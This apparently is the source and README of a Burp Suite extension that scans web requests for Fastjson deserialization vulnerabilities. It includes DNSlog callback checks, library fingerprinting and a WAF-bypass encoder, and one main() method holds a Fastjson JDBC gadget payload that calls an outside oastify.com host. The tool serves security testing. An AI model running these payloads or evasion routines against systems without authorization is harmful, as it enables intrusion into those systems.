burp.bean.ScanResultType; 6 | import burp.dnslogs.DnsLog; 7 | import burp.dnslogs.DnslogInterface; 8 | import burp.extension.scan.BaseScan; 9 | import burp.utils.YamlReader; 10 | 11 | import java.io.PrintWriter; 12 | import java.lang.reflect.InvocationTargetException; 13 | import java.util.*; 14 | 15 | import static burp.utils.Customhelps.tabFormat; 16 | 17 | /** 18 | * @ClassName: RemoteCmd 19 | * @Auther: niko 20 | * @Date: 2025/1/20 17:25 21 | * @Description: 22 | */ 23 | public class RemoteScan extends BaseScan { 24 | public RemoteScan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse iHttpRequestResponse, IExtensionHelpers helpers,boolean isBypass,String dnsName) { 25 | super(callbacks,iHttpRequestResponse,helpers, isBypass, dnsName); 26 | } 27 | 28 | @Override 29 | public List insertPayloads(String jsonKey) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException, InstantiationException { 30 | boolean flag = true; 31 | List payloads = yamlReader.getStringList("application.remoteCmdExtension.config.payloads"); 32 | Iterator payloadIterator = payloads.iterator(); 33 | Issus issus = null; 34 | List issuses = new ArrayList<>(); 35 | // dnslos 平台初始化 36 | IHttpRequestResponse newRequestResonse = null; 37 | while (payloadIterator.hasNext()){ 38 | DnslogInterface dnslog = new DnsLog(callbacks, dnsName).run(); 39 | String dnsurl = dnslog.getRandomDnsUrl(); 40 | String payload = payloadIterator.next(); 41 | payload = payload.replace("dnslog-url",dnsurl); 42 | if (jsonKey == null){ 43 | newRequestResonse = run(payload); 44 | }else { 45 | newRequestResonse = run(payload,jsonKey); 46 | } 47 | // 记录随机值存入list中,以便二次验证 48 | randomList.add(dnslog.getRandomPredomain()); 49 | this.iHttpRequestResponseList.add(newRequestResonse); 50 | this.payloads.add(payload.replace("dnslog-url",dnsurl)); 51 | 52 | String bodyContent = null; 53 | // 捕获api.ceye 503异常,避免导致issus未更新 54 | try { 55 | bodyContent = dnslog.getBodyContent(); 56 | } catch (Exception e) { 57 | bodyContent = null; 58 | System.err.println("获取 bodyContent 失败:" + e.getMessage()); // 记录错误信息 59 | } 60 | exportLogs(getExtensionName(),helpers.analyzeRequest(iHttpRequestResponse).getUrl().toString(),jsonKey,payload.replace("dnslog-url",dnsurl),bodyContent); 61 | //修正返回issus结果:仅for循环结束后或找到payload后才变为[+]/[-] 62 | // dns平台返回为空且payload已循环完毕,则[-], 否则直接跳入下一个循环 63 | if(bodyContent == null|| bodyContent.length()<=0){ 64 | continue; 65 | } 66 | 67 | // dns平台有结果且匹配random 则[+],否则[-] 68 | if (bodyContent.contains(dnslog.getRandomPredomain())){ 69 | // 碰到能检测出多个payload,则更新第一个issus的状态为[+],后续payload直接add [+]issus进去 70 | if (flag){ 71 | issus = new Issus(customBurpUrl.getHttpRequestUrl(), 72 | customBurpUrl.getRequestMethod(), 73 | getExtensionName(), 74 | customBurpUrl.getHttpResponseStatus(), 75 | payload, 76 | tabFormat(ScanResultType.PAYLOADS_FIND), 77 | newRequestResonse, 78 | Issus.State.SAVE); 79 | issuses.add(issus); 80 | flag = false; 81 | }else { 82 | issus = new Issus(customBurpUrl.getHttpRequestUrl(), 83 | customBurpUrl.getRequestMethod(), 84 | getExtensionName(), 85 | customBurpUrl.getHttpResponseStatus(), 86 | payload, 87 | tabFormat(ScanResultType.PAYLOADS_FIND), 88 | newRequestResonse, 89 | Issus.State.ADD); 90 | issuses.add(issus); 91 | } 92 | // 第一次发现,havePoc = true 93 | } 94 | } 95 | 96 | if (!issuses.isEmpty()){ 97 | return issuses; 98 | } 99 | issuses = checkoutDnslog(getExtensionName(),new DnsLog(callbacks, dnsName).run(),randomList,iHttpRequestResponseList,payloads,null); 100 | return issuses; 101 | } 102 | 103 | @Override 104 | public String getExtensionName() { 105 | return "RemoteScan"; 106 | } 107 | } 108 | -------------------------------------------------------------------------------- /src/main/java/burp/utils/Customhelps.java: -------------------------------------------------------------------------------- 1 | package burp.utils; 2 | 3 | import burp.IBurpExtenderCallbacks; 4 | import burp.bean.ScanResultType; 5 | import org.yaml.snakeyaml.Yaml; 6 | 7 | import java.io.File; 8 | import java.io.FileInputStream; 9 | import java.io.FileNotFoundException; 10 | import java.util.*; 11 | 12 | /** 13 | * @ClassName: Customhelps 14 | * @Auther: niko 15 | * @Date: 2025/1/20 16:50 16 | * @Description: 17 | */ 18 | public class Customhelps { 19 | private IBurpExtenderCallbacks callbacks; 20 | private static Map> properties = new HashMap<>(); 21 | 22 | public Customhelps() { 23 | } 24 | 25 | public static String randomString(Integer j){ 26 | String characters = "abcdefghijklmnopqrstuvwxyz0123456789"; 27 | StringBuilder result = new StringBuilder(4); 28 | Random random = new Random(); 29 | for (int i = 0; i < j; i++) { 30 | int index = random.nextInt(characters.length()); 31 | result.append(characters.charAt(index)); 32 | } 33 | return result.toString(); 34 | } 35 | 36 | 37 | public String getConfigPath(){ 38 | int lastIndexOf = this.callbacks.getExtensionFilename().lastIndexOf(File.separator); 39 | String path = ""; 40 | path = this.callbacks.getExtensionFilename().substring(0,lastIndexOf) + File.separator + "resources/config.yml"; 41 | return path; 42 | } 43 | public void load() throws FileNotFoundException { 44 | String configPath = getConfigPath(); 45 | File file = new File(configPath); 46 | properties = new Yaml().load(new FileInputStream(file)); 47 | } 48 | /** 49 | * 获取参数数据 50 | * 例如: 51 | * getParam("token=xx;Identifier=xxx;", "token"); 返回: xx 52 | * 53 | * @param d 被查找的数据 54 | * @param paramName 要查找的字段 55 | * @return 56 | */ 57 | public static String getParam(final String d, final String paramName) { 58 | if (d == null || d.length() == 0) 59 | return null; 60 | 61 | String value = "test=test;" + d; 62 | 63 | final int length = value.length(); 64 | int start = value.indexOf(';') + 1; 65 | if (start == 0 || start == length) 66 | return null; 67 | 68 | int end = value.indexOf(';', start); 69 | if (end == -1) 70 | end = length; 71 | 72 | while (start < end) { 73 | int nameEnd = value.indexOf('=', start); 74 | if (nameEnd != -1 && nameEnd < end 75 | && paramName.equals(value.substring(start, nameEnd).trim())) { 76 | String paramValue = value.substring(nameEnd + 1, end).trim(); 77 | int valueLength = paramValue.length(); 78 | if (valueLength != 0) 79 | if (valueLength > 2 && '"' == paramValue.charAt(0) 80 | && '"' == paramValue.charAt(valueLength - 1)) 81 | return paramValue.substring(1, valueLength - 1); 82 | else 83 | return paramValue; 84 | } 85 | 86 | start = end + 1; 87 | end = value.indexOf(';', start); 88 | if (end == -1) 89 | end = length; 90 | } 91 | 92 | return null; 93 | } 94 | /** 95 | * 获取精确到秒的时间戳 96 | * 97 | * @param date 98 | * @return Integer 99 | */ 100 | public static Integer getSecondTimestamp(Date date) { 101 | if (null == date) { 102 | return 0; 103 | } 104 | String timestamp = String.valueOf(date.getTime() / 1000); 105 | return Integer.valueOf(timestamp); 106 | } 107 | public static String tabFormat(ScanResultType type, Object... args){ 108 | return type.format(args); 109 | } 110 | 111 | private static int levenshteinDistance(String s1, String s2) { 112 | int m = s1.length(); 113 | int n = s2.length(); 114 | int[][] dp = new int[m + 1][n + 1]; 115 | 116 | for (int i = 0; i <= m; i++) { 117 | for (int j = 0; j <= n; j++) { 118 | if (i == 0) { 119 | dp[i][j] = j; 120 | } else if (j == 0) { 121 | dp[i][j] = i; 122 | } else { 123 | dp[i][j] = Math.min( 124 | Math.min(dp[i - 1][j] + 1, dp[i][j - 1] + 1), 125 | dp[i - 1][j - 1] + (s1.charAt(i - 1) == s2.charAt(j - 1) ? 0 : 1) 126 | ); 127 | } 128 | } 129 | } 130 | return dp[m][n]; 131 | } 132 | public static boolean isSimilarity(String resp1,String resp2){ 133 | int distance = levenshteinDistance(resp1, resp2); 134 | double similarity = 1 - (double) distance / Math.max(resp1.length(), resp2.length()); 135 | if (similarity>0.7){ 136 | return true; 137 | } 138 | return false; 139 | } 140 | } 141 | -------------------------------------------------------------------------------- /src/main/java/burp/extension/scan/impl/libraryDetect.java: -------------------------------------------------------------------------------- 1 | package burp.extension.scan.impl; 2 | 3 | import burp.IBurpExtenderCallbacks; 4 | import burp.IExtensionHelpers; 5 | import burp.IHttpRequestResponse; 6 | import burp.bean.Issus; 7 | import burp.bean.ScanResultType; 8 | import burp.extension.scan.BaseScan; 9 | import burp.utils.Customhelps; 10 | 11 | import java.lang.reflect.InvocationTargetException; 12 | import java.util.ArrayList; 13 | import java.util.Iterator; 14 | import java.util.List; 15 | 16 | import static burp.utils.Customhelps.tabFormat; 17 | 18 | /** 19 | 20 | * @ClassName: DetectLibrary 21 | * @Auther: niko 22 | * @Date: 2025/2/11 16:50 23 | * @Description: 24 | */ 25 | public class libraryDetect extends BaseScan { 26 | 27 | public libraryDetect(IBurpExtenderCallbacks callbacks, IHttpRequestResponse iHttpRequestResponse, IExtensionHelpers helpers,boolean isBypass,String dnsName) { 28 | super(callbacks, iHttpRequestResponse, helpers, isBypass,dnsName); 29 | } 30 | 31 | @Override 32 | public List insertPayloads(String jsonKey) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException, InstantiationException { 33 | boolean flag = true; 34 | String payload = yamlReader.getString("application.detectLibraryExtension.config.libraryPayloads"); 35 | List libraries = yamlReader.getStringList("application.detectLibraryExtension.config.libraries"); 36 | Iterator libraryIterator = libraries.iterator(); 37 | Issus issus = null; 38 | List issuses = new ArrayList<>(); 39 | IHttpRequestResponse newRequestResonse = null; 40 | boolean isFirstLoop = true; 41 | String errorClassHttpResponse = ""; 42 | String randomClass = "org.apache." + Customhelps.randomString(8); 43 | while (libraryIterator.hasNext()){ 44 | if (isFirstLoop){ 45 | isFirstLoop = false; 46 | if (jsonKey == null || jsonKey.length()<=0){ 47 | run(payload.replace("libraries",randomClass)); 48 | }else { 49 | run(payload.replace("libraries",randomClass),jsonKey); 50 | } 51 | errorClassHttpResponse = customBurpUrl.getHttpResponseBody(); 52 | exportLogs(getExtensionName(),helpers.analyzeRequest(iHttpRequestResponse).getUrl().toString(),jsonKey,payload.replace("libraries",randomClass),errorClassHttpResponse); 53 | continue; 54 | } 55 | String library = libraryIterator.next(); 56 | if (jsonKey == null || jsonKey.length()<=0){ 57 | newRequestResonse = run(payload.replace("libraries",library)); 58 | }else { 59 | newRequestResonse = run(payload.replace("libraries",library),jsonKey); 60 | } 61 | String bodyContent = customBurpUrl.getHttpResponseBody(); 62 | 63 | if(bodyContent == null|| bodyContent.length()<=0){ 64 | continue; 65 | } 66 | bodyContent = bodyContent.toLowerCase(); 67 | exportLogs(getExtensionName(),helpers.analyzeRequest(iHttpRequestResponse).getUrl().toString(),jsonKey,payload.replace("libraries",library),bodyContent); 68 | boolean isMatch = (bodyContent.contains(library.toLowerCase()) && bodyContent.toLowerCase().contains("cast")); //新增一个匹配can no cast to char 69 | boolean isSimilarity = Customhelps.isSimilarity(errorClassHttpResponse, customBurpUrl.getHttpResponseBody()); 70 | // 碰到能检测出多个payload,则更新第一个issus的状态为[+],后续payload直接add [+]issus进去 71 | if (flag){ 72 | issus = new Issus(customBurpUrl.getHttpRequestUrl(), 73 | customBurpUrl.getRequestMethod(), 74 | getExtensionName(), 75 | customBurpUrl.getHttpResponseStatus(), 76 | isMatch||!isSimilarity?payload.replace("libraries",library):null, 77 | isMatch||!isSimilarity?tabFormat(ScanResultType.LIBRARY_FOUND,library):tabFormat(ScanResultType.NOT_FOUND), 78 | newRequestResonse, 79 | Issus.State.SAVE); 80 | issuses.add(issus); 81 | flag = false; 82 | }else { 83 | issus = new Issus(customBurpUrl.getHttpRequestUrl(), 84 | customBurpUrl.getRequestMethod(), 85 | getExtensionName(), 86 | customBurpUrl.getHttpResponseStatus(), 87 | isMatch||!isSimilarity?payload.replace("libraries",library):null, 88 | isMatch||!isSimilarity?tabFormat(ScanResultType.LIBRARY_FOUND,library):tabFormat(ScanResultType.NOT_FOUND), 89 | newRequestResonse, 90 | Issus.State.ADD); 91 | issuses.add(issus); 92 | } 93 | 94 | } 95 | return issuses; 96 | } 97 | 98 | @Override 99 | public String getExtensionName() { 100 | return "libraryDetect"; 101 | } 102 | } 103 | -------------------------------------------------------------------------------- /src/main/java/burp/bean/CustomBurpUrl.java: -------------------------------------------------------------------------------- 1 | package burp.bean; 2 | 3 | import burp.IBurpExtenderCallbacks; 4 | import burp.IExtensionHelpers; 5 | import burp.IHttpRequestResponse; 6 | import burp.IParameter; 7 | 8 | import java.io.PrintWriter; 9 | import java.io.UnsupportedEncodingException; 10 | import java.net.MalformedURLException; 11 | import java.net.URL; 12 | import java.util.List; 13 | 14 | public class CustomBurpUrl { 15 | private IBurpExtenderCallbacks callbacks; 16 | private IExtensionHelpers helpers; 17 | 18 | public PrintWriter stderr; 19 | 20 | private IHttpRequestResponse requestResponse; 21 | 22 | public CustomBurpUrl(IBurpExtenderCallbacks callbacks, IHttpRequestResponse requestResponse) { 23 | this.callbacks = callbacks; 24 | this.helpers = callbacks.getHelpers(); 25 | this.stderr = new PrintWriter(callbacks.getStderr(), true); 26 | 27 | this.requestResponse = requestResponse; 28 | } 29 | 30 | public IHttpRequestResponse requestResponse() { 31 | return this.requestResponse; 32 | } 33 | 34 | /** 35 | * 获取-请求协议 36 | * 37 | * @return 38 | */ 39 | public String getRequestProtocol() { 40 | return this.requestResponse.getHttpService().getProtocol(); 41 | } 42 | 43 | /** 44 | * 获取-请求主机 45 | * 46 | * @return 47 | */ 48 | public String getRequestHost() { 49 | return this.requestResponse.getHttpService().getHost(); 50 | } 51 | 52 | /** 53 | * 获取-请求端口 54 | * 55 | * @return 56 | */ 57 | public int getRequestPort() { 58 | return this.requestResponse.getHttpService().getPort(); 59 | } 60 | 61 | /** 62 | * 获取-请求路径 63 | * 64 | * @return 65 | */ 66 | public String getRequestPath() { 67 | return this.helpers.analyzeRequest(this.requestResponse).getUrl().getPath(); 68 | } 69 | 70 | /** 71 | * 获取-请求参数 72 | * 73 | * @return 74 | */ 75 | public String getRequestQuery() { 76 | return this.helpers.analyzeRequest(this.requestResponse).getUrl().getQuery(); 77 | } 78 | 79 | /** 80 | * 获取-请求域名名称 81 | * 82 | * @return 83 | */ 84 | public String getRequestDomainName() { 85 | if (this.getRequestPort() == 80 || this.getRequestPort() == 443) { 86 | return this.getRequestProtocol() + "://" + this.getRequestHost(); 87 | } else { 88 | return this.getRequestProtocol() + "://" + this.getRequestHost() + ":" + this.getRequestPort(); 89 | } 90 | } 91 | /** 92 | * 获取-获取请求方式名称 93 | * 94 | * @return 95 | */ 96 | public String getRequestMethod() { 97 | String method = this.helpers.analyzeRequest(requestResponse).getMethod(); 98 | return method; 99 | } 100 | 101 | /** 102 | * 获取-获取http请求url 103 | * 104 | * @return 105 | */ 106 | public URL getHttpRequestUrl() { 107 | try { 108 | if (this.getRequestQuery() == null) { 109 | return new URL(this.getRequestDomainName() + this.getRequestPath()); 110 | } else { 111 | return new URL(this.getRequestDomainName() + this.getRequestPath() + "?" + this.getRequestQuery()); 112 | } 113 | } catch (MalformedURLException e) { 114 | e.printStackTrace(this.stderr); 115 | } 116 | return null; 117 | } 118 | /** 119 | * 获取-获取请求header头 120 | * 121 | * @return 122 | */ 123 | public List getHttpRequestHeaders(){ 124 | List headers = helpers.analyzeRequest(this.requestResponse).getHeaders(); 125 | return headers; 126 | } 127 | /** 128 | * 获取-获取请求参数 129 | * 130 | * @return 131 | */ 132 | public List getHttpRequestParameters() { 133 | List parameters = helpers.analyzeRequest(requestResponse).getParameters(); 134 | return parameters; 135 | } 136 | 137 | /** 138 | * 获取- 请求体body 139 | * 140 | * @return 141 | */ 142 | public String getHttpRequestBody(){ 143 | int bodyOffset = helpers.analyzeRequest(requestResponse.getRequest()).getBodyOffset(); 144 | int length = requestResponse.getRequest().length - bodyOffset; 145 | try { 146 | return new String(requestResponse.getRequest(),bodyOffset,length,"UTF-8"); 147 | } catch (UnsupportedEncodingException e) { 148 | throw new RuntimeException(e); 149 | } 150 | } 151 | /** 152 | * 获取-获取http响应体body 153 | * 154 | * @return 155 | */ 156 | public String getHttpResponseBody() { 157 | byte[] response = this.requestResponse.getResponse(); 158 | if (response == null){ 159 | return ""; 160 | } 161 | int bodyOffset = helpers.analyzeResponse(response).getBodyOffset(); 162 | int length = response.length - bodyOffset; 163 | try { 164 | String body = new String(response, bodyOffset, length, "UTF-8"); 165 | return body; 166 | } catch (UnsupportedEncodingException e) { 167 | throw new RuntimeException(e); 168 | } 169 | } 170 | /** 171 | * 获取-获取http响应体状态 172 | * 173 | * @return 174 | */ 175 | public String getHttpResponseStatus() { 176 | return String.valueOf(helpers.analyzeResponse(this.requestResponse.getResponse()).getStatusCode()); 177 | } 178 | 179 | 180 | } -------------------------------------------------------------------------------- /src/main/java/burp/dnslogs/impl/EyesDnslog.java: -------------------------------------------------------------------------------- 1 | package burp.dnslogs.impl; 2 | 3 | import burp.IBurpExtenderCallbacks; 4 | import burp.dnslogs.DnslogInterface; 5 | import burp.utils.Customhelps; 6 | import burp.utils.YamlReader; 7 | import com.github.kevinsawicki.http.HttpRequest; 8 | 9 | /** 10 | * @ClassName: Ceye 11 | * @Auther: niko 12 | * @Date: 2025/1/20 16:10 13 | * @Description: 14 | */ 15 | public class EyesDnslog implements DnslogInterface { 16 | 17 | private String Identifier; 18 | private String token; 19 | private String random; 20 | private String api; 21 | private YamlReader yamlReader; 22 | private String randomDnsUrl; 23 | 24 | 25 | public EyesDnslog(IBurpExtenderCallbacks callbacks){ 26 | Customhelps customhelps = new Customhelps(); 27 | this.yamlReader = YamlReader.getInstance(callbacks); 28 | this.api = "https://eyes.sh"; 29 | this.Identifier = yamlReader.getString("dnsLogModule.EyesDnslog.Identifier").trim(); 30 | this.random = customhelps.randomString(4); 31 | // this.randomGroup = "n1ngoax"; 32 | this.token = yamlReader.getString("dnsLogModule.EyesDnslog.token").trim(); 33 | init(); 34 | } 35 | private void init() { 36 | if (this.token == null || this.token.length() <= 0) { 37 | throw new RuntimeException(String.format("%s 扩展-token参数不能为空", this.getExtensionName())); 38 | } 39 | if (this.Identifier == null || this.Identifier.length() <= 0) { 40 | throw new RuntimeException(String.format("%s 扩展-key参数不能为空", this.getExtensionName())); 41 | } 42 | // String temporaryDomainName = this.random + "." + this.randomGroup + "." + this.Identifier + "." + "eyes.sh"; 43 | String temporaryDomainName = this.random + "." + this.Identifier + "." + "eyes.sh"; 44 | 45 | this.randomDnsUrl = temporaryDomainName; 46 | } 47 | @Override 48 | public String getRandomDnsUrl() { 49 | return this.randomDnsUrl; 50 | } 51 | 52 | @Override 53 | public String getRandomPredomain() { 54 | return this.random; 55 | } 56 | 57 | @Override 58 | public String checkConnection() { 59 | String url = this.randomDnsUrl; 60 | HttpRequest httpRequest = HttpRequest.get(url); 61 | String ua = "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1_1 like Mac OS X) AppleWebKit/604.2.15 (KHTML, like Gecko) Mobile/22B91 Ariver/1.0.10 Jupiter/1.0.0"; 62 | httpRequest.header("User-Agent",ua); 63 | httpRequest.header("Accept","*/*"); 64 | httpRequest.trustAllCerts(); 65 | httpRequest.trustAllHosts(); 66 | httpRequest.readTimeout(8 * 1000); 67 | httpRequest.connectTimeout(8 * 1000); 68 | httpRequest.followRedirects(false); 69 | httpRequest.disconnect(); 70 | String bodyContent = getBodyContent(); 71 | if (bodyContent.contains("True")){ 72 | return String.format(getExtensionName() + "平台已连接"); 73 | }else { 74 | return "连接失败,建议更换dnslog平台"; 75 | } 76 | } 77 | 78 | @Override 79 | public String getBodyContent() { 80 | String url = String.format("%s/api/dns/%s/%s/?token=%s",api,Identifier,random,token); 81 | HttpRequest httpRequest = HttpRequest.get(url); 82 | String ua = "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/614.2.15 (KHTML, like Gecko) Mobile/22B91 Ariver/1.0.10 Jupiter/1.0.0"; 83 | httpRequest.header("User-Agent",ua); 84 | httpRequest.header("Accept","*/*"); 85 | httpRequest.trustAllCerts(); 86 | httpRequest.trustAllHosts(); 87 | httpRequest.readTimeout(30 * 1000); 88 | httpRequest.connectTimeout(30 * 1000); 89 | httpRequest.followRedirects(false); 90 | String body = httpRequest.body(); 91 | if (!httpRequest.ok()){ 92 | throw new RuntimeException( 93 | String.format( 94 | "%s 扩展-内容有异常,异常内容: %s", 95 | this.api, 96 | body 97 | ) 98 | ); 99 | } 100 | httpRequest.disconnect(); 101 | if (body.toLowerCase().contains("false")){ 102 | return null; 103 | }else { 104 | return random; 105 | } 106 | 107 | // return body; 108 | } 109 | 110 | // eyes.sh无法做二次校验 111 | @Override 112 | public String getAllContent(String random) { 113 | String url = String.format("%s/api/dns/%s/%s/?token=%s",api,Identifier,random,token); 114 | HttpRequest httpRequest = HttpRequest.get(url); 115 | String ua = "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1_1 like Mac OS X) AppleWebKit/604.2.15 (KHTML, like Gecko) Mobile/22B91 Ariver/1.0.10 Jupiter/1.0.0"; 116 | httpRequest.header("User-Agent",ua); 117 | httpRequest.header("Accept","*/*"); 118 | httpRequest.trustAllCerts(); 119 | httpRequest.trustAllHosts(); 120 | httpRequest.readTimeout(30 * 1000); 121 | httpRequest.connectTimeout(30 * 1000); 122 | httpRequest.followRedirects(false); 123 | 124 | String body = httpRequest.body(); 125 | if (!httpRequest.ok()){ 126 | throw new RuntimeException( 127 | String.format( 128 | "%s 扩展-内容有异常,异常内容: %s", 129 | this.api, 130 | body 131 | ) 132 | ); 133 | } 134 | httpRequest.disconnect(); 135 | if (body.equals("False")){ 136 | return null; 137 | }else { 138 | return random; 139 | } 140 | } 141 | 142 | @Override 143 | public String getExtensionName() { 144 | return "EyesDnslog"; 145 | } 146 | 147 | } 148 | -------------------------------------------------------------------------------- /src/main/java/burp/extension/bypass/PayloadBypass.java: -------------------------------------------------------------------------------- 1 | package burp.extension.bypass; 2 | 3 | import burp.utils.Customhelps; 4 | import com.google.gson.Gson; 5 | import com.google.gson.JsonSyntaxException; 6 | import com.google.gson.reflect.TypeToken; 7 | 8 | import java.util.LinkedHashMap; 9 | import java.util.Map; 10 | import java.util.Random; 11 | 12 | public class PayloadBypass { 13 | public static String processJson(String inputJson,boolean isContentJson) { 14 | try { 15 | 16 | // 2. 解析JSON到Map(保留顺序) 17 | Map map = new Gson().fromJson(inputJson, 18 | new TypeToken>(){}.getType()); 19 | 20 | // 3. 创建新Map处理加密 21 | Map newMap = new LinkedHashMap<>(); 22 | for (Map.Entry entry : map.entrySet()) { 23 | String encodedKey = entry.getKey().toString(); 24 | if (encodedKey.length()>=5){ 25 | if (encodedKey.equals("@type")){ 26 | encodedKey =toUnicodeHex(encodedKey); 27 | }else { 28 | encodedKey = keyEncode(encodedKey); 29 | } 30 | } 31 | 32 | Object encodedValue = entry.getValue() != null ? 33 | deepEncode(entry.getValue()) : null; 34 | newMap.put(encodedKey, encodedValue); 35 | } 36 | String json = new Gson().toJson(newMap); 37 | if (isContentJson){ 38 | json = addComments(json); 39 | } 40 | // 4. 生成新JSON 41 | return json.replace("\\\\","\\"); 42 | } catch (JsonSyntaxException e) { 43 | String json = inputJson.replace("@type", toUnicodeHex("@type")); 44 | json = addComments(json); 45 | String replace = ":/*"+Customhelps.randomString(6)+"*/\""; 46 | json = json.replace(":\"", replace); 47 | // 极端情况处理:当无法解析时返回空对象 48 | return json; 49 | }} 50 | private static Object deepEncode(Object value) { 51 | if (value instanceof Map) { 52 | Map map = (Map) value; 53 | Map newMap = new LinkedHashMap<>(); 54 | for (Map.Entry entry : map.entrySet()) { 55 | String encodedKey = entry.getKey().toString(); 56 | if (encodedKey.length()>=5){ 57 | if (encodedKey.equals("@type")){ 58 | encodedKey =toUnicodeHex(encodedKey); 59 | }else { 60 | encodedKey =keyEncode(encodedKey); 61 | } 62 | } 63 | newMap.put(encodedKey, deepEncode(entry.getValue())); 64 | } 65 | return newMap; 66 | } 67 | return toUnicodeHex(value.toString()); 68 | } 69 | public static String toUnicodeHex(String value){ 70 | Random random = new Random(); 71 | StringBuilder unicodeString = new StringBuilder(); 72 | for (char c : value.toCharArray()) { 73 | int i = random.nextInt(10); 74 | 75 | if (i>6){ 76 | unicodeString.append(String.format("\\u%04x", (int) c)); 77 | }else { 78 | unicodeString.append(String.format("\\x%02x", (int) c)); 79 | } 80 | // 对每个字符进行 Unicode 编码 81 | } 82 | System.out.println("toUnicodeHex: " + unicodeString); 83 | return unicodeString.toString(); 84 | } 85 | public static String keyEncode(String payload){ 86 | String s = toUnicodeHex(randomCaseConvert(addSome(payload))); 87 | return s; 88 | } 89 | public static String addComments(String payload){ 90 | StringBuilder result = new StringBuilder(); 91 | for (int i = 0; i < payload.length(); i++) { 92 | char c = payload.charAt(i); 93 | if (c == '\r' || c == '\n' || c == '\b' || c == ' ') { 94 | continue; 95 | } 96 | result.append(c); 97 | // 如果当前字符是 {,则在其后添加 //random\n 98 | if (c == '{') { 99 | String s = Customhelps.randomString(5); 100 | result.append("//"+s+"\n"); 101 | } 102 | if (c == ',') { 103 | result.append("/*"+Customhelps.randomString(7)+"*/"); 104 | } 105 | } 106 | return result.toString(); 107 | } 108 | public static String randomCaseConvert(String input) { 109 | // 将输入字符串转换为字符数组 110 | char[] charArray = input.toCharArray(); 111 | Random random = new Random(); 112 | 113 | // 遍历字符数组 114 | for (int i = 0; i < charArray.length; i++) { 115 | // 随机决定是否转换大小写 116 | if (random.nextBoolean()) { 117 | char c = charArray[i]; 118 | if (Character.isUpperCase(c)) { 119 | // 如果是大写字母,转换为小写 120 | charArray[i] = Character.toLowerCase(c); 121 | } else if (Character.isLowerCase(c)) { 122 | // 如果是小写字母,转换为大写 123 | charArray[i] = Character.toUpperCase(c); 124 | } 125 | } 126 | } 127 | // 将修改后的字符数组转换回字符串 128 | return new String(charArray); 129 | } 130 | private static String addSome(String payload){ 131 | Random random = new Random(); 132 | 133 | StringBuilder stringBuilder = new StringBuilder(payload); 134 | for (int j = 1; j < payload.length()/2; j++) { 135 | int i = random.nextInt(payload.length() + 1); 136 | stringBuilder.insert(i,"-"); 137 | } 138 | System.out.println(stringBuilder.toString()); 139 | return stringBuilder.toString(); 140 | } 141 | 142 | public static void main(String[] args) { 143 | String name = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection\",\"proxy\":{\"connectionString\":{\"url\":\"jdbc:mysql://pg9t7wy0to9z2hn4g887aah67xdn1c.oastify.com:3306/test?allowLoadLocalInfile=true&autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=user\"}}}"; 144 | String s = processJson(name, true); 145 | System.out.println(s); 146 | 147 | } 148 | } 149 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## 项目介绍 2 | 3 | FastjsonScan4Burp 一款基于burp被动扫描的fastjson漏洞探测插件,可针对数据包中的存在json的参数或请求体进行payload测试。旨在帮助安全人员更加便捷的发现、探测、深入利用fastjson漏洞,目前以实现fastjson探测、版本探测、依赖探测以及出网及不出网利用和简易的bypass waf功能。 4 | 5 | 参考代码及检测思路: 6 | ``` 7 | https://github.com/pmiaowu/BurpFastJsonScan 8 | https://github.com/lemono0/FastJsonParty 9 | https://github.com/safe6Sec/Fastjson 10 | ``` 11 | ## 更新记录 12 | 0228:1.修复加载插件后导致列表插件后的其他插件不可用情况 2.修复了yml文件生成时可能出现报错的情况,添加utf-8标准读取文件 13 | ## 工具模块 14 | 15 | 目前插件具有的功能模块: 16 | 17 | - 低感知探测扫描 18 | - 出网扫描 19 | - 不出网扫描 20 | - fastjson版本探测 21 | - fastjson依赖探测 22 | - bypass waf模块 23 | - dns平台实时切换 24 | 25 | ## 扫描原理 26 | 插件会自动发现数据包GET/POST请求中包含有json的value或请求体是否为Content-Type:application/json。判断依据为是否包含有{}或[] 27 | GET中value存在json 28 | image 29 | image 30 | POST中value存在json 31 | image 32 | image 33 | Content-Type为json(以下案例均是,不多赘述) 34 | 检测出json后,默认会调用fastjson探测、远程命令执行探测及不出网探测,各模块扫描原理详见下文。 35 | 36 | 37 | ## 使用手册 38 | ### 安装 39 | 初次加载会在当前目录下创建resources/config.yml文件。 40 | image 41 | 42 | 基本设置如下,默认情况下不开启bypass waf模块,可根据实际勾选 43 | image 44 | ### 基于被动扫描 45 | 46 | 插件会被动式地对数据包进行扫描,只需要启动插件后正常浏览数据包即可。插件扫描队列界面会对扫描结果进行展示。 47 | 48 | - extensionMethod:调用的扫描模块名称 49 | - issue:扫描结果 50 | image 51 | 52 | ### 右键主动扫描 53 | 54 | 部分情况下想对单一某个数据包进行漏洞验证或其他原因,可以在repeater右键选择对应插件选择扫描或探测 55 | image 56 | 57 | 或者使用doPassive再次进行被动扫描 58 | 59 | image 60 | 61 | ### dnslog切换 62 | 63 | 当出现dnslog error时,不需要更改config.yml,可直接在设置中切换dnslog平台,并进行下一轮扫描。其中ceye平台和eyes.sh平台需要在config.yml中配置对应token和Identify 64 | 65 | image 66 | 67 | ### 结果输出 68 | 69 | 除了在burp中的issue中以及插件界面外,还会在插件部署目录下的resources文件夹中生成result.txt文件 70 | 71 | image 72 | 73 | ## 扫描模块原理 74 | 75 | 被动扫描默认会调用低感知扫描、出网及不出网扫描,探测模块则存在于repeater右键中。 76 | 77 | 敏感环境下可开启bypass waf选项,并关闭命令回显拓展和远程命令拓展,仅保留低感知fastjson扫描。 78 | 79 | ### 低感知扫描 80 | 81 | 主要作用类似于xiasql插件,去探测是否使用了fastjson。尽量以相对较少、较低敏的payload对目标进行扫描。 82 | 83 | 判断方式如下: 84 | 85 | 1. 破坏json原有数据格式:去除 } 号,匹配响应包中是否还有`syntax error`这种fastjson特征 86 | image 87 | 88 | 2. 使用出网探测payload,查看dns url是否有解析记录 89 | 